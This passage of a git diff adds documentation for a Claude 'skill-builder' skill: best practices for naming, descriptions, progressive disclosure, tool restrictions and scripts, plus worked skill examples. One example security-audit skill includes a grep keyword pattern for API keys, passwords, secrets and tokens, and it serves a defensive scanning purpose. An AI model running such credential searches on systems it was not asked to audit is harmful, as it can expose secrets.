PDFs", "Analyzing Data" +- Avoid vague names: "Helper", "Utils", "Manager" +- Make names descriptive and specific + +### 3. Specific Descriptions +- Write in third person +- Include key terms for discoverability +- Clearly indicate when to use the skill +- Maximum 1024 characters + +### 4. Progressive Context Reveal +- Start with essential information in SKILL.md +- Reference detailed docs when needed +- Organize supporting files logically + +## Creating a Skill + +### Quick Start + +1. Create skill directory: `mkdir -p .claude/skills/my-skill` +2. Create `SKILL.md` with frontmatter +3. Write clear name and description +4. Add concise instructions +5. Test with Claude + +For a complete template, see `templates/skill-template.md`. + +### Writing Effective Instructions + +**DO:** +- Provide concrete examples +- Create clear step-by-step workflows +- Include validation/feedback loops +- Use consistent terminology +- Reference additional files for details + +**DON'T:** +- Include time-sensitive information +- Over-explain what Claude already knows +- Use vague or ambiguous language +- Cram all details into SKILL.md + +### Setting Degrees of Freedom + +Match specificity to task requirements: +- **High freedom**: Flexible, creative tasks +- **Low freedom**: Fragile, sequence-critical operations + +Example: +```markdown +# Low freedom (specific) +When processing invoice PDFs: +1. Extract date field using format YYYY-MM-DD +2. Validate amount matches total +3. Output to invoices.json + +# High freedom (flexible) +Analyze the document and extract relevant financial information. +``` + +## File Organization + +Use progressive disclosure for complex skills within the skill directory: + +``` +my-skill/ +├── SKILL.md # Concise entry point +├── reference/ # Detailed documentation +│ ├── api-docs.md +│ └── examples.md +├── scripts/ # Helper utilities +│ └── validator.py +└── templates/ # Starting templates + └── output.json +``` + +**IMPORTANT**: Skills must be self-contained within their directory: +- Only reference files within the skill directory +- Do NOT reference external files (e.g., `../../CLAUDE.md` or project files) +- Include all necessary content within the skill structure +- Skills may be used in different contexts and must work independently + +See `reference/skill-structure.md` for detailed organization patterns. + +## Best Practices + +For comprehensive best practices, see `reference/best-practices.md`. Key highlights: + +### Description Writing +```markdown +# Good +description: Guides creation of React components following project conventions, including TypeScript types, styled-components, and test patterns + +# Vague +description: Helps with React stuff +``` + +### Documentation +- Write skills for the current Claude model's capabilities +- Avoid time-sensitive information +- Test iteratively with real scenarios +- Create evaluation cases before extensive docs + +### Tool Restrictions +Limit tool access when needed: +```yaml +--- +name: Read-Only Analysis +allowed-tools: [Read, Grep, Glob] +--- +``` + +## Examples + +See `reference/examples.md` for complete skill examples including: +- Simple focused skills +- Complex multi-file skills +- Skills with tool restrictions +- Skills with progressive disclosure + +## Testing and Iteration + +1. Start with core functionality +2. Test with Claude on real scenarios +3. Refine based on actual usage +4. Add supporting docs as needed +5. Keep SKILL.md concise, move details to reference files + +## Critical Workflow: Review After Every Change + +**IMPORTANT**: Whenever you make changes to a skill file (creating, editing, or updating SKILL.md or related files), you MUST immediately review the skill against best practices. + +### Required Review Steps + +After making any skill changes: + +1. **Read the updated skill**: Use the Read tool to view the complete updated SKILL.md +2. **Apply review checklist**: Review against criteria in `reference/skill-review.md`: + - Name: Gerund form, specific, not vague + - Description: Under 1024 chars, includes key terms, third person + - Length: SKILL.md under 500 lines + - Examples: Concrete and helpful + - Validation: Steps included for verifying success + - Clarity: Instructions are unambiguous and actionable + - Organization: Logical structure with progressive disclosure +3. **Identify issues**: Note any deviations from best practices +4. **Fix immediately**: If issues are found, fix them before completing the task + +### What to Check + +- **Discoverability**: Will Claude find and use this skill appropriately? +- **Clarity**: Are instructions clear enough to follow? +- **Completeness**: Is all necessary information included? +- **Conciseness**: Only what Claude doesn't already know? +- **Effectiveness**: Does the skill actually help accomplish the task? + +### Common Issues to Catch + +- Vague descriptions that hurt discoverability +- Missing validation steps +- Ambiguous instructions +- Monolithic SKILL.md files (over 500 lines) +- Over-explanation of what Claude already knows +- Missing concrete examples +- Time-sensitive information +- External file references (skills must be self-contained) + +For comprehensive review guidelines, see `reference/skill-review.md`. + +**This review step is not optional** - it ensures every skill change maintains quality and follows best practices. + +## Reviewing Skills + +Whether reviewing your own skills or others', systematic review ensures quality and effectiveness. + +### Review Checklist + +Quick checklist for skill review: +- **Name**: Gerund form, specific, not vague +- **Description**: Under 1024 chars, includes key terms, third person +- **Length**: SKILL.md under 500 lines +- **Examples**: Concrete and helpful +- **Validation**: Steps included for verifying success +- **Clarity**: Instructions are unambiguous and actionable +- **Organization**: Logical structure with progressive disclosure + +### Key Review Areas + +1. **Discoverability**: Will Claude find and use this skill appropriately? +2. **Clarity**: Are instructions clear enough to follow? +3. **Completeness**: Is all necessary information included? +4. **Conciseness**: Only what Claude doesn't already know? +5. **Effectiveness**: Does the skill actually help accomplish the task? + +### Common Issues to Check + +- Vague descriptions that hurt discoverability +- Missing validation steps +- Ambiguous instructions +- Monolithic SKILL.md files (over 500 lines) +- Over-explanation of what Claude already knows +- Missing concrete examples +- Time-sensitive information + +For comprehensive review guidelines, see `reference/skill-review.md`. + +## Common Patterns + +### Single-Purpose Skill +Focus on one specific capability with clear instructions. + +### Multi-Step Workflow +Provide structured steps with validation between stages. + +### Context-Heavy Skill +Use progressive disclosure: essentials in SKILL.md, details in reference files. + +### Tool-Restricted Skill +Limit tools for safety-critical or read-only operations. + +## Troubleshooting + +**Skill not discovered**: Check description specificity and key terms +**Too verbose**: Move details to reference files +**Unclear when to use**: Improve description and add usage examples +**Inconsistent results**: Reduce degrees of freedom, add specific steps + +## References + +- `reference/skill-structure.md`: Complete structure and organization details +- `reference/best-practices.md`: Comprehensive best practices guide +- `reference/examples.md`: Real-world skill examples +- `reference/skill-review.md`: Comprehensive skill review guidelines +- `templates/skill-template.md`: Starting template for new skills + +## Quick Decision Guide + +Creating a new skill? Ask: +1. **Is it focused?** One capability per skill +2. **Is the description clear?** Third person, specific, key terms +3. **Is SKILL.md concise?** Under 500 lines, essential info only +4. **Do I need reference files?** Use progressive disclosure for complex topics +5. **Have I tested it?** Try with real scenarios before finalizing + +When writing skills, remember: skills extend Claude's knowledge, so focus on what Claude doesn't already know and make it easily discoverable through clear descriptions and names. diff --git a/skills/skill-builder/reference/best-practices.md b/skills/skill-builder/reference/best-practices.md new file mode 100644 index 0000000..52159f8 --- /dev/null +++ b/skills/skill-builder/reference/best-practices.md @@ -0,0 +1,649 @@ +# Best Practices for Writing Claude Skills + +Comprehensive guide to creating effective, maintainable, and discoverable skills. + +## Core Principles + +### 1. Be Concise + +**Why**: Skills extend Claude's knowledge. Claude already has extensive capabilities - only add what's truly new. + +**How**: +- Challenge every sentence: "Does Claude really need this?" +- Remove obvious information +- Keep SKILL.md under 500 lines +- Move extensive details to reference files + +**Examples**: + +```markdown +# Too verbose +## Processing Files +When you need to process files, first you should read them using the Read tool. +The Read tool is a built-in capability that allows you to access file contents. +After reading, analyze the content carefully. + +# Concise (Claude knows this) +## Processing Files +Extract key metrics from each file and aggregate results. +``` + +### 2. Set Appropriate Degrees of Freedom + +**Why**: Match specificity to task complexity and fragility. + +**High Freedom**: For flexible, creative tasks where Claude can adapt +```markdown +Analyze the codebase and suggest architectural improvements. +``` + +**Low Freedom**: For fragile, sequence-critical, or safety-critical operations +```markdown +1. Backup database to `backups/db_YYYYMMDD.sql` +2. Run migration: `npm run migrate:up` +3. Verify migration: check `schema_version` table +4. If verification fails, rollback: `npm run migrate:down` +``` + +**Balance**: +```markdown +# Too restrictive (micro-managing) +1. Open the file +2. Read line 1 +3. Parse the date +4. Store in variable called 'date' + +# Appropriate +Extract the date from the first line using format YYYY-MM-DD. +Validate it's a valid date before proceeding. +``` + +### 3. Clear Naming + +**Skill Names** (in frontmatter): +- Use gerund form (verb + -ing) +- Be specific and descriptive +- Avoid vague terms + +```yaml +# Good +name: Analyzing Performance Metrics +name: Generating API Documentation +name: Processing Invoice PDFs + +# Avoid +name: Helper +name: Utils +name: Manager +name: Processor +``` + +**Directory Names**: +``` +# Good +performance-analyzer/ +api-doc-generator/ +invoice-processor/ + +# Avoid +helper/ +utils/ +thing/ +``` + +### 4. Specific Descriptions + +**Why**: The description determines when Claude chooses to use your skill. + +**Formula**: [Action] [specific task] [key context/constraints] + +```yaml +# Excellent +description: Analyzes React components for performance anti-patterns including unnecessary re-renders, missing memoization, and inefficient hooks usage + +# Good +description: Processes invoice PDFs to extract vendor, date, items, and total with validation + +# Too vague (Claude won't know when to use it) +description: Helps with documents +description: A useful utility +``` + +**Include key terms**: +```yaml +# Include technology names +description: Creates TypeScript React components with styled-components and Jest tests + +# Include output formats +description: Converts CSV data to validated JSON following schema.org format + +# Include constraints +description: Generates API documentation from JSDoc comments preserving examples and types +``` + +## Writing Effective Instructions + +### Structure Your Instructions + +```markdown +# Good structure +## Overview +Brief 1-2 sentence summary + +## Prerequisites +What must exist or be true before starting + +## Workflow +1. Step one with specifics +2. Step two with validation +3. Step three with output format + +## Validation +How to verify success + +## Examples +Concrete examples +``` + +### Be Specific About Outputs + +```markdown +# Vague +Generate a report. + +# Specific +Generate a report in markdown with: +- Summary section with key findings +- Metrics table with columns: metric, value, threshold, status +- Recommendations list ordered by priority +``` + +### Include Validation Steps + +```markdown +# Without validation +1. Parse the configuration +2. Apply settings +3. Restart service + +# With validation +1. Parse the configuration +2. Validate required fields exist: host, port, api_key +3. Apply settings +4. Verify service starts successfully (check port is listening) +``` + +### Provide Context for Decisions + +```markdown +# No context +Use the fast algorithm. + +# With context +Use the fast algorithm for files under 10MB. +For larger files, use the streaming algorithm to avoid memory issues. +``` + +## Progressive Disclosure + +### When to Use Reference Files + +Use reference files when: +- Background information exceeds 100 lines +- API documentation is comprehensive +- Multiple detailed examples are needed +- Content is optional/advanced + +### Self-Contained Skills + +**IMPORTANT**: Skills must be completely self-contained within their own directory. + +**DO:** +- Reference files within the skill directory: `reference/api-docs.md` +- Include all necessary content within the skill structure +- Duplicate information if needed across multiple skills + +**DON'T:** +- Reference files outside the skill directory (e.g., `../../CLAUDE.md`) +- Reference project files (e.g., `../other-skill/reference.md`) +- Depend on external documentation not in the skill directory + +Why: Skills may be used in different contexts (personal, project, plugin) and must work independently without external dependencies. + +### How to Reference + +```markdown +# Good: Clear purpose, internal reference +For complete API reference, see `reference/api-docs.md` +See `reference/examples.md` for 10+ real-world examples + +# Bad: External reference +See the project CLAUDE.md for more details +Refer to ../../docs/guide.md + +# Too vague +More info in reference folder +``` + +### What Stays in SKILL.md + +Keep in SKILL.md: +- Core workflow (the "what" and "how") +- Essential constraints +- 1-2 key examples +- Validation steps +- References to detailed docs (within skill directory) + +Move to reference files: +- Extended background ("why" and history) +- Comprehensive API documentation +- Many examples +- Edge cases +- Troubleshooting guides + +## Documentation Patterns + +### Avoid Time-Sensitive Information + +```markdown +# Avoid (will become outdated) +Use the new React hooks API introduced in version 16.8 + +# Better (timeless) +Use React hooks for state management +``` + +### Use Consistent Terminology + +Pick terms and stick with them: + +```markdown +# Inconsistent +1. Parse the document +2. Extract data from the file +3. Process the input + +# Consistent +1. Parse the document +2. Extract data from the document +3. Process the document +``` + +### Write for the Model + +Remember: Skills are for Claude, not humans. + +```markdown +# Too human-centric +This is a really helpful tool that makes your life easier! +Everyone loves this workflow because it's so intuitive. + +# Model-focused +Extract structured data from unstructured logs using these patterns. +``` + +### Provide Concrete Examples + +```markdown +# Abstract +Process dates correctly. + +# Concrete +Convert dates to ISO 8601 format: +- Input: "Jan 15, 2024" → Output: "2024-01-15" +- Input: "3/7/24" → Output: "2024-03-07" +``` + +## Tool Restrictions + +### When to Restrict + +Restrict tools (`allowed-tools`) when: + +1. **Safety-critical operations**: Prevent unintended modifications +```yaml +allowed-tools: [Read, Grep, Glob] # Read-only analysis +``` + +2. **Enforcing workflow**: Must use specific tools in order +```yaml +allowed-tools: [Bash] # Only run provided scripts +``` + +3. **Compliance**: Must not modify certain files +```yaml +allowed-tools: [Read, Grep] # Audit mode +``` + +### Common Patterns + +```yaml +# Analysis only +allowed-tools: [Read, Grep, Glob] + +# File operations +allowed-tools: [Read, Write, Edit, Glob, Grep] + +# Development +allowed-tools: [Read, Write, Edit, Bash, Glob, Grep] + +# Script execution +allowed-tools: [Bash, Read] +``` + +### Don't Over-Restrict + +```yaml +# Too restrictive (Claude can't be effective) +allowed-tools: [Read] + +# Better (if editing is needed) +allowed-tools: [Read, Edit, Grep, Glob] +``` + +## Script Best Practices + +### When to Use Scripts + +Use scripts for: +- Deterministic operations (same input → same output) +- Complex calculations +- API calls +- System operations +- Validation logic + +Don't use scripts for: +- What Claude can do better (analysis, decision-making) +- Simple operations +- One-off tasks + +### Script Structure + +```python +#!/usr/bin/env python3 +""" +Brief description of what this script does. + +Usage: + python script.py input.json output.json + +Exit codes: + 0: Success + 1: Validation error + 2: File error +""" + +import sys +import json + +def main(): + # Clear error handling + if len(sys.argv) != 3: + print("Usage: script.py input.json output.json", file=sys.stderr) + sys.exit(1) + + # Validate inputs + # Process data + # Output results + +if __name__ == "__main__": + main() +``` + +### Script Documentation + +In SKILL.md: +```markdown +## Validation + +Run `scripts/validate.py` to verify output format: + +\`\`\`bash +python scripts/validate.py output.json +\`\`\` + +Returns exit code 0 on success, 1 on validation errors. +``` + +## Testing Skills + +### Create Test Scenarios + +Before writing extensive documentation: + +```markdown +# Test scenarios +1. Input: Simple case + Expected: Standard output + +2. Input: Edge case (empty file) + Expected: Handle gracefully + +3. Input: Invalid data + Expected: Clear error message +``` + +### Iterative Development + +1. Start with minimal SKILL.md +2. Test with Claude on real task +3. Note what Claude struggles with +4. Add specific guidance for those areas +5. Repeat until effective + +### Evaluation Questions + +- Does Claude discover the skill appropriately? +- Does Claude understand when NOT to use it? +- Are outputs consistent and correct? +- Does Claude handle edge cases? +- Is the skill too restrictive or too loose? + +## Common Mistakes + +### Mistake 1: Over-Explaining + +```markdown +# Bad +The Read tool is a powerful capability that allows you to read files. +You should use it when you need to access file contents. Files are +stored on disk and contain data... + +# Good +Read the configuration file and extract the database settings. +``` + +### Mistake 2: Vague Descriptions + +```yaml +# Bad +description: Helps with things + +# Good +description: Converts CSV sales data to quarterly revenue reports with charts +``` + +### Mistake 3: Missing Examples + +```markdown +# Bad +Format the output appropriately. + +# Good +Format output as JSON: +{ + "metric": "response_time", + "value": 245, + "unit": "ms" +} +``` + +### Mistake 4: No Validation + +```markdown +# Bad +1. Parse config +2. Apply changes +3. Done + +# Good +1. Parse config +2. Validate required fields: api_key, endpoint, timeout +3. Apply changes +4. Verify: curl endpoint returns 200 +``` + +### Mistake 5: Monolithic SKILL.md + +```markdown +# Bad: Everything in SKILL.md (800 lines) +[200 lines of background] +[300 lines of API docs] +[300 lines of examples] + +# Good: Progressive disclosure +# SKILL.md (200 lines) +- Core workflow +- Key example +- Reference to `reference/api-docs.md` +- Reference to `reference/examples.md` +``` + +## Skill Maintenance + +### Versioning + +If distributing via plugin: +- Increment plugin version in `plugin.json` +- Document changes in plugin changelog +- Test with current Claude model + +### Evolution + +As skills mature: +1. Monitor usage patterns +2. Refine based on real usage +3. Add missing edge cases +4. Remove unnecessary verbosity +5. Update examples + +### Deprecation + +When deprecating: +1. Update description: "DEPRECATED: Use skill-name-v2 instead" +2. Keep functional for transition period +3. Document migration path +4. Remove after transition + +## Performance Optimization + +### Reduce Token Usage + +```markdown +# Higher token usage +Detailed explanation of every step with comprehensive background +information that Claude likely already knows from pre-training. + +# Optimized +[Concise instructions referencing detailed docs in reference/ as needed] +``` + +### Faster Discovery + +Make skills discoverable with specific descriptions: + +```yaml +# Faster discovery (specific terms) +description: Processes Stripe webhook events for payment.succeeded and payment.failed + +# Slower discovery (vague) +description: Handles webhooks +``` + +## Collaboration + +### Team Skills + +When creating skills for teams: +- Document project-specific conventions +- Include team workflow patterns +- Reference team tools and systems +- Use consistent terminology across team skills + +### Skill Libraries + +Organize related skills: +``` +.claude/skills/ +├── data-processing/ +│ ├── csv-processor/ +│ ├── json-transformer/ +│ └── xml-parser/ +└── code-generation/ + ├── react-components/ + └── api-endpoints/ +``` + +## Advanced Patterns + +### Skill Composition + +Reference other skills: +```markdown +This skill builds on the "Processing CSVs" skill. +First use that skill to parse the data, then apply the transformations below. +``` + +### Conditional Workflows + +```markdown +If dataset < 1000 rows: + Process in-memory using standard algorithm + +If dataset >= 1000 rows: + 1. Split into chunks of 1000 rows + 2. Process each chunk + 3. Aggregate results +``` + +### Feedback Loops + +```markdown +1. Generate initial output +2. Validate against schema +3. If validation fails: + - Review error messages + - Adjust output + - Re-validate +4. Repeat until valid +``` + +## Checklist for High-Quality Skills + +Before finalizing a skill: + +- [ ] Name uses gerund form and is specific +- [ ] Description is clear, specific, includes key terms +- [ ] SKILL.md is under 500 lines +- [ ] Examples are concrete and helpful +- [ ] Validation steps are included +- [ ] Tool restrictions are appropriate (if any) +- [ ] Scripts have error handling and documentation +- [ ] Reference files are well-organized +- [ ] Tested with real scenarios +- [ ] No time-sensitive information +- [ ] Consistent terminology throughout +- [ ] Clear when to use / when not to use + +## Key Principles Summary + +1. **Be concise**: Only what Claude doesn't know +2. **Be specific**: Clear names, descriptions, examples +3. **Be practical**: Test with real scenarios +4. **Be progressive**: Start simple, add detail as needed +5. **Be consistent**: Terminology, formatting, style +6. **Be validated**: Include verification steps +7. **Be discovered**: Specific descriptions with key terms +8. **Be maintained**: Update based on usage + +Remember: Skills are extensions of Claude's capabilities. Make them focused, discoverable, and effective by following these practices. diff --git a/skills/skill-builder/reference/examples.md b/skills/skill-builder/reference/examples.md new file mode 100644 index 0000000..094c560 --- /dev/null +++ b/skills/skill-builder/reference/examples.md @@ -0,0 +1,815 @@ +# Skill Examples + +Real-world examples of well-crafted skills demonstrating best practices. + +## Example 1: Simple Focused Skill + +A single-purpose skill with everything in SKILL.md. + +### Directory Structure +``` +changelog-generator/ +└── SKILL.md +``` + +### SKILL.md +```markdown +--- +name: Generating Changelog Entries +description: Creates standardized changelog entries from git commits following Keep a Changelog format with semantic versioning categories +--- + +# Generating Changelog Entries + +Creates changelog entries in Keep a Changelog format from git commit history. + +## Workflow + +1. Review git commits since last release +2. Categorize commits: + - **Added**: New features + - **Changed**: Changes to existing functionality + - **Deprecated**: Soon-to-be removed features + - **Removed**: Removed features + - **Fixed**: Bug fixes + - **Security**: Security improvements +3. Format as markdown under appropriate headings +4. Include commit hashes as references + +## Output Format + +\`\`\`markdown +## [Version] - YYYY-MM-DD + +### Added +- New feature description [abc123] + +### Fixed +- Bug fix description [def456] +\`\`\` + +## Examples + +### Input Commits +``` +abc123 feat: Add user authentication +def456 fix: Resolve login timeout issue +ghi789 docs: Update README +``` + +### Output +```markdown +## [1.2.0] - 2024-01-15 + +### Added +- User authentication system [abc123] + +### Fixed +- Login timeout issue [def456] +``` + +## Validation + +Ensure: +- All commits are categorized +- Date is in YYYY-MM-DD format +- Version follows semantic versioning +- Each entry includes commit hash +``` + +**Why this works**: +- Focused on one task +- Clear categorization +- Specific format +- Concrete example +- Validation checklist + +## Example 2: Skill with Reference Documentation + +A skill using progressive disclosure for complex information. + +### Directory Structure +``` +api-doc-generator/ +├── SKILL.md +└── reference/ + ├── jsdoc-patterns.md + └── openapi-spec.md +``` + +### SKILL.md +```markdown +--- +name: Generating API Documentation +description: Creates comprehensive API documentation from JSDoc comments including endpoints, parameters, responses, and examples in OpenAPI 3.0 format +--- + +# Generating API Documentation + +Generates API documentation in OpenAPI 3.0 format from JSDoc-annotated code. + +## Overview + +Extracts API information from JSDoc comments and produces OpenAPI specification with: +- Endpoint descriptions +- Request/response schemas +- Authentication requirements +- Example payloads + +## Workflow + +1. Scan codebase for JSDoc-annotated API endpoints +2. Extract route, method, parameters, responses +3. Generate OpenAPI schema definitions +4. Create example requests/responses +5. Validate against OpenAPI 3.0 specification + +## JSDoc Pattern + +Expected JSDoc format: +\`\`\`javascript +/** + * @api {get} /users/:id Get User + * @apiParam {String} id User ID + * @apiSuccess {Object} user User object + * @apiSuccess {String} user.name User name + */ +\`\`\` + +For detailed JSDoc patterns, see `reference/jsdoc-patterns.md`. + +## Output Format + +Generate OpenAPI 3.0 YAML. For complete specification reference, see `reference/openapi-spec.md`. + +Basic structure: +\`\`\`yaml +openapi: 3.0.0 +info: + title: API Name + version: 1.0.0 +paths: + /users/{id}: + get: + summary: Get User + parameters: + - name: id + in: path + required: true + schema: + type: string +\`\`\` + +## Validation + +1. Validate YAML syntax +2. Verify against OpenAPI 3.0 schema +3. Ensure all referenced schemas are defined +4. Check examples match schema definitions +``` + +### reference/jsdoc-patterns.md +```markdown +# JSDoc Patterns for API Documentation + +Complete reference for supported JSDoc annotations. + +## Basic Endpoint + +\`\`\`javascript +/** + * @api {method} /path Description + * @apiName UniqueName + * @apiGroup GroupName + */ +\`\`\` + +## Parameters + +[... detailed parameter documentation ...] + +## Responses + +[... detailed response documentation ...] + +## Examples + +[... 20+ examples of different patterns ...] +``` + +**Why this works**: +- Core workflow in SKILL.md +- Extended details in reference files +- Clear references to additional docs +- Progressive disclosure + +## Example 3: Skill with Scripts + +A skill using deterministic scripts for validation. + +### Directory Structure +``` +invoice-processor/ +├── SKILL.md +├── scripts/ +│ ├── extract-data.py +│ └── validate-output.py +└── templates/ + └── invoice-output.json +``` + +### SKILL.md +```markdown +--- +name: Processing Invoice PDFs +description: Extracts structured data from invoice PDFs including vendor, date, line items, and totals with validation against expected schema +--- + +# Processing Invoice PDFs + +Extracts and validates invoice data from PDF files. + +## Workflow + +1. Use `scripts/extract-data.py` to extract text from PDF +2. Parse extracted text for key fields: + - Vendor name + - Invoice number + - Date (YYYY-MM-DD) + - Line items (description, quantity, unit price, total) + - Subtotal, tax, total +3. Structure as JSON matching `templates/invoice-output.json` +4. Validate using `scripts/validate-output.py` + +## Extraction Script + +\`\`\`bash +python scripts/extract-data.py input.pdf output.txt +\`\`\` + +Outputs raw text from PDF for parsing. + +## Output Format + +Follow the schema in `templates/invoice-output.json`: + +\`\`\`json +{ + "vendor": "Company Name", + "invoice_number": "INV-001", + "date": "2024-01-15", + "line_items": [ + { + "description": "Item description", + "quantity": 2, + "unit_price": 50.00, + "total": 100.00 + } + ], + "subtotal": 100.00, + "tax": 8.00, + "total": 108.00 +} +\`\`\` + +## Validation + +Run validation script: +\`\`\`bash +python scripts/validate-output.py output.json +\`\`\` + +Validates: +- All required fields present +- Date format is YYYY-MM-DD +- Calculations are correct (line totals, subtotal, tax, total) +- Numbers are properly formatted + +Exit code 0 = valid, 1 = validation errors (prints details). + +## Error Handling + +If extraction fails: +1. Check PDF is not password-protected +2. Verify PDF contains text (not scanned image) +3. Review raw extracted text for parsing issues +``` + +### scripts/validate-output.py +```python +#!/usr/bin/env python3 +""" +Validates invoice JSON output. + +Usage: + python validate-output.py invoice.json + +Exit codes: + 0: Valid + 1: Validation errors +""" +import sys +import json +from datetime import datetime + +def validate_invoice(data): + errors = [] + + # Required fields + required = ['vendor', 'invoice_number', 'date', 'line_items', 'total'] + for field in required: + if field not in data: + errors.append(f"Missing required field: {field}") + + # Date format + try: + datetime.strptime(data['date'], '%Y-%m-%d') + except ValueError: + errors.append(f"Invalid date format: {data['date']}") + + # Calculate totals + calculated_total = sum(item['total'] for item in data['line_items']) + if abs(calculated_total - data['subtotal']) > 0.01: + errors.append(f"Subtotal mismatch: {data['subtotal']} != {calculated_total}") + + return errors + +def main(): + if len(sys.argv) != 2: + print("Usage: validate-output.py invoice.json", file=sys.stderr) + sys.exit(1) + + with open(sys.argv[1]) as f: + data = json.load(f) + + errors = validate_invoice(data) + + if errors: + print("Validation errors:", file=sys.stderr) + for error in errors: + print(f" - {error}", file=sys.stderr) + sys.exit(1) + + print("Validation successful") + sys.exit(0) + +if __name__ == "__main__": + main() +``` + +**Why this works**: +- Scripts handle deterministic operations +- Clear script usage documentation +- Template provides expected format +- Validation ensures correctness +- Error handling guidance + +## Example 4: Tool-Restricted Skill + +A skill with restricted tool access for safety. + +### Directory Structure +``` +security-audit/ +└── SKILL.md +``` + +### SKILL.md +```markdown +--- +name: Auditing Security Configurations +description: Reviews configuration files for security vulnerabilities including exposed secrets, weak permissions, and insecure defaults without modifying any files +allowed-tools: [Read, Grep, Glob] +--- + +# Auditing Security Configurations + +Performs read-only security audit of configuration files. + +## Tool Restrictions + +This skill is read-only. Only these tools are available: +- Read: Read files +- Grep: Search for patterns +- Glob: Find files + +This ensures no accidental modifications during security audit. + +## Audit Checklist + +### 1. Secrets Exposure +Search for potential secrets: +\`\`\`bash +grep -r "api_key\|password\|secret\|token" . +\`\`\` + +Check for: +- Hardcoded passwords +- API keys in code +- Exposed tokens +- Committed .env files + +### 2. File Permissions +Review files that should have restricted permissions: +- Private keys (.pem, .key) +- Configuration files with secrets +- Database credentials + +### 3. Insecure Defaults +Check configurations for: +- Debug mode enabled in production +- CORS set to allow all origins +- Disabled authentication +- Exposed admin interfaces + +## Output Format + +Generate markdown report: + +\`\`\`markdown +# Security Audit Report + +## Critical Issues +- [Issue description] - [File:Line] + +## Warnings +- [Issue description] - [File:Line] + +## Recommendations +1. [Recommendation] +2. [Recommendation] +\`\`\` + +## Examples + +### Finding: Exposed Secret +\`\`\` +## Critical Issues +- Hardcoded API key in source code - config/api.js:12 + \`\`\` + const API_KEY = "sk_live_abc123xyz" + \`\`\` + Recommendation: Move to environment variable +``` + +**Why this works**: +- Tool restrictions prevent modifications +- Clear audit methodology +- Structured output format +- Safety-critical workflow + +## Example 5: Complex Multi-File Skill + +A comprehensive skill with full progressive disclosure. + +### Directory Structure +``` +react-component-generator/ +├── SKILL.md +├── reference/ +│ ├── typescript-patterns.md +│ ├── testing-guide.md +│ └── styling-conventions.md +├── scripts/ +│ └── validate-component.sh +└── templates/ + ├── component.tsx + ├── component.test.tsx + └── component.styles.ts +``` + +### SKILL.md +```markdown +--- +name: Creating React Components +description: Generates TypeScript React components following project conventions including component structure, PropTypes, styled-components, and comprehensive Jest tests with React Testing Library +--- + +# Creating React Components + +Generates production-ready React components with TypeScript, tests, and styles. + +## Overview + +Creates a complete React component with: +- TypeScript component file +- Styled-components styling +- Jest + React Testing Library tests +- Prop validation +- JSDoc documentation + +## Workflow + +1. Create component file using `templates/component.tsx` as base +2. Define TypeScript interface for props +3. Implement component logic +4. Create styled-components in `templates/component.styles.ts` pattern +5. Write tests following `templates/component.test.tsx` +6. Validate with `scripts/validate-component.sh` + +## Component Structure + +See `templates/component.tsx` for complete structure. Key elements: + +\`\`\`typescript +interface ComponentProps { + // Props with JSDoc +} + +export const Component: React.FC = ({ props }) => { + // Implementation +} +\`\`\` + +## TypeScript Patterns + +For TypeScript best practices, see `reference/typescript-patterns.md`. + +Key patterns: +- Use interfaces for props +- Avoid 'any' type +- Leverage union types for variants +- Use generics for reusable components + +## Styling + +Follow styled-components patterns in `reference/styling-conventions.md`. + +Basic pattern from `templates/component.styles.ts`: +\`\`\`typescript +import styled from 'styled-components' + +export const Container = styled.div\` + // Styles +\` +\`\`\` + +## Testing + +Follow testing guide in `reference/testing-guide.md`. + +Use template from `templates/component.test.tsx`: +- Test rendering +- Test interactions +- Test edge cases +- Test accessibility + +## Validation + +Run validation: +\`\`\`bash +./scripts/validate-component.sh src/components/MyComponent +\`\`\` + +Checks: +- TypeScript compiles +- Tests pass +- Linting passes +- No console errors + +## File Naming + +\`\`\` +src/components/MyComponent/ +├── MyComponent.tsx +├── MyComponent.test.tsx +├── MyComponent.styles.ts +└── index.ts +\`\`\` +``` + +### reference/typescript-patterns.md +```markdown +# TypeScript Patterns for React Components + +[Detailed TypeScript patterns, 200+ lines] +``` + +### reference/testing-guide.md +```markdown +# Testing Guide for React Components + +[Comprehensive testing patterns, 300+ lines] +``` + +### reference/styling-conventions.md +```markdown +# Styling Conventions with styled-components + +[Detailed styling patterns, 150+ lines] +``` + +### templates/component.tsx +```typescript +import React from 'react' +import { Container } from './ComponentName.styles' + +interface ComponentNameProps { + /** + * Description of prop + */ + propName: string +} + +/** + * ComponentName description + * + * @example + * + */ +export const ComponentName: React.FC = ({ + propName +}) => { + return ( + + {propName} + + ) +} +``` + +**Why this works**: +- Concise SKILL.md (under 500 lines) +- Progressive disclosure to reference docs +- Templates provide starting points +- Validation script ensures quality +- Clear file organization + +## Example 6: Workflow-Driven Skill + +A skill focused on a multi-step workflow with validation. + +### Directory Structure +``` +database-migration/ +└── SKILL.md +``` + +### SKILL.md +```markdown +--- +name: Managing Database Migrations +description: Creates and applies database migrations with automated backup, validation, and rollback capabilities for PostgreSQL using Prisma +allowed-tools: [Read, Write, Bash, Grep, Glob] +--- + +# Managing Database Migrations + +Safe database migration workflow with backup and rollback. + +## Prerequisites + +- Prisma CLI installed +- Database connection configured +- Write access to database + +## Migration Workflow + +### Creating a Migration + +1. **Backup current schema** + \`\`\`bash + pg_dump -s database_name > backups/schema_$(date +%Y%m%d_%H%M%S).sql + \`\`\` + +2. **Create migration** + \`\`\`bash + npx prisma migrate dev --name migration_name + \`\`\` + +3. **Review generated SQL** + - Check migration file in `prisma/migrations/` + - Verify no unexpected changes + - Ensure data integrity preserved + +4. **Validate migration** + - Test on local database first + - Verify data not corrupted + - Check application still works + +### Applying to Production + +1. **Create production backup** + \`\`\`bash + pg_dump database_name > backups/prod_backup_$(date +%Y%m%d_%H%M%S).sql + \`\`\` + +2. **Run migration** + \`\`\`bash + npx prisma migrate deploy + \`\`\` + +3. **Verify migration applied** + \`\`\`bash + npx prisma migrate status + \`\`\` + +4. **Validate data integrity** + - Run integrity checks + - Verify critical queries still work + - Check row counts match expectations + +### Rollback Procedure + +If migration fails: + +1. **Stop application** (prevent writes) + +2. **Restore from backup** + \`\`\`bash + psql database_name < backups/prod_backup_TIMESTAMP.sql + \`\`\` + +3. **Verify restoration** + - Check row counts + - Run test queries + - Verify application works + +4. **Investigate failure** + - Review migration SQL + - Check error logs + - Fix issue before retrying + +## Safety Checklist + +Before applying migration: +- [ ] Local backup created +- [ ] Migration tested on development database +- [ ] Migration SQL reviewed +- [ ] Production backup created +- [ ] Rollback procedure documented +- [ ] Maintenance window scheduled (if needed) + +## Validation Queries + +After migration, verify: + +\`\`\`sql +-- Check table exists +SELECT 